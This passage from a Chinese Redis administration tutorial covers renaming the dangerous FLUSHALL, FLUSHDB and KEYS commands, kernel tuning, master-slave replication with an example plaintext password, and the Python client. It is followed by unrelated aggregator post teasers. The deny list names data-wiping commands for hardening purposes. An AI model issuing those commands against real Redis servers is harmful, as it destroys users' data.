FLUSHALL和FLUSHDB會清除redis的資料,比較危險 
KEYS在鍵過多的時候使用會阻塞業務請求

13.2 redis禁用危險命令配置程式碼如下(寫入配置檔案即可,此配置無法平滑更新)

rename-command  FLUSHALL " " #將命令改名成空

rename-command  FLUSHDB " "  #將命令改名成空

rename-command  KEYS " "     #將命令改名成空

[[email protected] ~]# echo 'rename-command  FLUSHALL ""' >> /usr/local/redis/conf/r
edis.conf[[email protected] ~]# echo 'rename-command  FLUSHDB ""' >> /usr/local/redis/conf/re
dis.conf[[email protected] ~]# echo 'rename-command  KEYS ""' >> /usr/local/redis/conf/redis
.conf[[email protected] ~]# tail -3 /usr/local/redis/conf/redis.conf
rename-command  FLUSHALL ""
rename-command  FLUSHDB ""
rename-command  KEYS ""

13.3 登陸redis,執行禁止命令進行測試

重啟redis-server
[[email protected] ~]# redis-cli shutdown
[[email protected] ~]# redis-server /usr/local/redis/conf/redis.conf
測試被遮蔽的危險命令
如果測試本地不讓登入了,如下圖:

日誌顯示

因為我之前用過flushdb這個命令,aof記錄了這個命令,如果要改名aof就不認識了

重寫一下aof

十四,Redis主從伺服器環境的搭建

主機名

IP

用途

Redis01

10.1.1.146

Redis-master

Redis02

10.1.1.147

Redis-slaveA

Redis03

10.1.1.148

Redis-slaveB

14.1 環境要求與redis基礎編譯部署調優

作業系統環境要求

三臺redis都進行編譯安裝,三臺都進行配置檔案優化和簡單的基礎調優,三臺的redis-server都啟動

過程略,前面有寫

基礎調優設定:

[[email protected] redis]# echo "* - nofile 10240" >> /etc/security/limits.conf
[[email protected] redis]# echo "net.core.somaxconn = 10240" >> /etc/sysctl.conf
[[email protected] redis]# echo "vm.overcommit_memory = 1" >> /etc/sysctl.conf
[[email protected] redis]# sysctl -p
net.core.somaxconn = 10240
vm.overcommit_memory = 1
[[email protected] redis]# echo never > /sys/kernel/mm/transparent_hugepage/enabled
[[email protected] redis]# echo never > /sys/kernel/mm/transparent_hugepage/defrag
[[email protected] redis]# echo 'echo never > /sys/kernel/mm/transparent_hugepage/enabled'>>/etc/rc.local

[[email protected] redis]# echo 'echo never > /sys/kernel/mm/transparent_hugepage/defrag' >> /etc/rc.local

14.2 redis主從同步伺服器搭建

redis的主從同步,不用修改master任何配置 
只需要在redis-slave上指定master的IP地址即可

先啟動redis-master,將主的日誌清空  > /data/redis/redis.log  一會主要是想看看日誌資訊的。然後再在兩個redis-slave上都進行如下操作
[[email protected] redis]# redis-cli shutdown
[[email protected] redis]# echo "SLAVEOF 10.1.1.146 6379" >> /usr/local/redis/conf/redis.conf

[[email protected] redis]# tail -1 /usr/local/redis/conf/redis.conf
SLAVEOF 10.1.1.146 6379
[[email protected] redis]# > /data/redis/redis.log
[[email protected] redis]# redis-server /usr/local/redis/conf/redis.conf
[[email protected] redis]# ss -antup | grep redis
tcp    LISTEN     0      1024      *:6379                  *:*                 
  users:(("redis-server",pid=1449,fd=6))tcp    ESTAB      0      0      10.1.1.147:33796              10.1.1.146:6379  
              users:(("redis-server",pid=1449,fd=7))

14.3 主從同步日誌分析(全量同步)檢視redis-slave同步日誌,檢視redis-slave同步日誌
檢視日誌資訊:略,自己能看懂就行,看不懂百度單詞,工作中是會經常看redis的日誌資訊的

keys *    從庫裡也有了資料

redis的主從複製原理:是在後臺起一個程序並生成一個rdb檔案,來把當前這個時刻的所有的記憶體資料給BGSAVE到記憶體裡,並不是寫到硬碟上,然後把這個rdb檔案給從,redis的第一次同步方式都是全量同步,就是把所有資料都給從庫

14.4 主從同步日誌分析(部分同步)

如果是從宕了,不觸發半同步,從宕了之後好了再連,還是全量,如果主宕了,從庫就找不著了,這個時候主宕了之後再恢復,從就會找主做增量複製,就是部分同步
[[email protected] ~]# > /data/redis/redis.log
[[email protected] ~]# redis-cli shutdown
從的日誌  略

14.5 主從同步的停止

[[email protected] ~]# redis-cli
127.0.0.1:6379> slaveof no one
OK
127.0.0.1:6379>
[[email protected] ~]# cat /data/redis/redis.log

恢復主從

127.0.0.1:6379> slaveof 10.1.1.146 6379
OK

14.6 加密的主從同步

1)為redis-master平滑設定連線密碼

[[email protected] ~]# redis-cli config get requirepass
1) "requirepass"
2) ""
[[email protected] ~]# redis-cli config set requirepass 'yunjisuan'
OK
[[email protected] ~]# redis-cli config get requirepass
(error) NOAUTH Authentication required.
[[email protected] ~]# redis-cli auth yunjisuan
OK

檢視從庫日誌資訊

2)為從庫提供主從同步密碼驗證

從伺服器需要設定主從同步的認證密碼

檢視從伺服器日誌

十五,使用Python操作Redis單例

[[email protected] ~]# yum -y install epel-release
[[email protected] ~]# yum -y install python2-pip
[[email protected] ~]# pip install redis

15.2 利用python進行redis資料的讀寫

[

相關推薦

Redis4.0持久化儲存

一,redis概述與實驗環境說明 1.1 什麼是redis redis是一種記憶體型的NoSQL資料庫,優點是快,常用來做快取用  redis儲存資料的方法是以key-value的形式  value型別支援字串,列表,雜湊等多種型別 1.2 環境說明 主機

Redis4.0持久化存儲

stop wal 遷移 技術分享 ger offset min 為我 image 一,redis概述與實驗環境說明 1.1 什麽是redis redis是一種內存型的NoSQL數據庫,優點是快,常用來做緩存用 redis存儲數據的方法是以key-value的形式 val

iOS 持久化儲存 plist、NSUserDefaults、NSKeyedArchiver、資料庫

1.什麼是持久化? 本人找了好多文章都沒有找到滿意的答案,最後是從孫衛琴寫的《精通Hibernate:Java物件持久化技術詳解》中,看到如下的解釋,感覺還是比較完整的。摘抄如下:  狹義的理解: “持久化”僅僅指把域物件永久儲存到資料庫中;廣義的理解,“持久化”包括和資料庫相關的各種操作。&n

Kubernetes持久化儲存

ConfigMap、Secret、emptyDir、hostPath等屬於臨時性儲存,當pod被排程到某個節點上時,它們隨pod的建立而建立,臨時佔用節點儲存資源,當pod離開節點時,儲存資源被交還給節點,pod一旦離開它們就失效,不具備持久化儲存資料的能力。與此相反,持久化

docker下的 redis 持久化儲存

本章節開始 我們在docker下 進行 spring Boot專案操作redis 準備工作: (1) 建立資料夾:usr/local/work/share (2) 拉取專案,這是一個打包好的jar 包 (3) 將拉取的 jar包放

python 基礎資料持久化儲存

###資料持久化儲存 - 說明:持久化儲存方案,普通檔案、資料庫、序列化 - 示例: ```python import pickle class Person: def __init__(self, name, age): self.name = na

Spark持久化儲存級別

一、持久化cache()與persist()   根據spark官方文件,Spark 中一個很重要的能力是將資料持久化(或稱為快取),在多個操作間都可以訪問這些持久化的資料。當持久化一個 RDD 時,每個節點的其它分割槽都可以使用 RDD 在記憶體中進行計算,在該資料上的其他 action

JAVAWEB開發redis學習(十)——redis持久化儲存

一、Redis提供了哪些持久化機制: 1). RDB持久化: 該機制是指在指定的時間間隔內將記憶體中的資料集快照寫入磁碟。    2). AOF持久化: 該機制將以日誌的形式記錄伺服器所處理的每一個寫操作,在Redis伺服器啟動之初會讀取該檔案來重新構建資料庫,以保證啟動

centos7 redis4.0 叢集搭建——Ruby2.3.1的安裝

下載原始碼包:https://cache.ruby-china.org/pub/ruby/ruby-2.3.1.tar.gz解壓 :tar -zxvf ruby-2.3.1.tar.gz進入目錄 ruby-2.3.1./configure --prefix=/usr/loca

從零開始學習docker(九)持久化儲存和資料共享 bind Mounting

資料持久化的第一種方式Data Volume 使用Data Volume: 首先在Dockerfile中定義 Volu

SpringBootSecurity學習(19)前後端分離版OAuth2.0 token的儲存和管理

記憶體中儲存token 我們來繼續授權服務程式碼的下一個優化。現在授權服務中,token的儲存是儲存在記憶體中的,我們使用的是 I

自頂向下redis4.0(5)持久化

# redis4.0的持久化 [toc] ## 簡介 雖然`redis`是記憶體資料庫,但它也提供了持久化的功能。其中`rdb`持久化可以定時備份用於回滾,而`aof`持久化則更接近資料庫最新的狀態,伺服器重啟後可以恢復至最新的狀態。兩者資料備份的粒度不同,`rdb`將整個資料庫備份,`aof`持久化粒

Selenium2.0WebDriver的啟用IE10(IEDriverServer)

selenium bdr orm 路徑 選項 log 右鍵 launch imp 如圖 代碼: package org.coderinfo.demo; import org.openqa.selenium.WebDriver; import org.openqa.sele

定時器/計數器0定時器

.com 函數調用 wid 延時 mod main images .cn cnblogs /* 效果說明: 定時器中斷:通過單片機計數使程序執行 一秒中斷一次,中斷發生時高四位亮一秒,中斷發生後又回到主程序 */ #include <

zabbix3.0server端部署詳解

server 安裝 zabbix yum 配置 下載yum配置rpm -ivh http://mirrors.aliyun.com/zabbix/zabbix/3.0/rhel/7/x86_64/zabbix-release-3.0-1.el7.noarch.rpm 安裝依賴包[[email

vue2.0 文本渲染-v-html、v-text

mic fun .cn data itl con body meta doctype vue2.0 之文本渲染-v-html、v-text 1、index.html代碼 <!DOCTYPE html> <html> <head>

vue2.0 列表渲染-v-for

col light 代碼 red mil img eight ges default v-for 數組渲染 App.vue代碼 <template> <div> <ul> <li v-for="item i

vue2.0 條件渲染

toggle ges rtb -o part ima methods true port 條件渲染v-if、v-show <template> <div> <a v-if="isPartA">partA</a>

vue2.0 事件處理器

alt data sof rom 簡寫 temp mic emit 處理器 事件綁定v-on(內置事件) <template> <div> <a v-if="isPartA">partA</a> <

vue2.0 計算屬性和數據監聽

ext turn rip exp http pre text div log 計算屬性computed <template> <div> <input type="text" name="" v-model="myVal">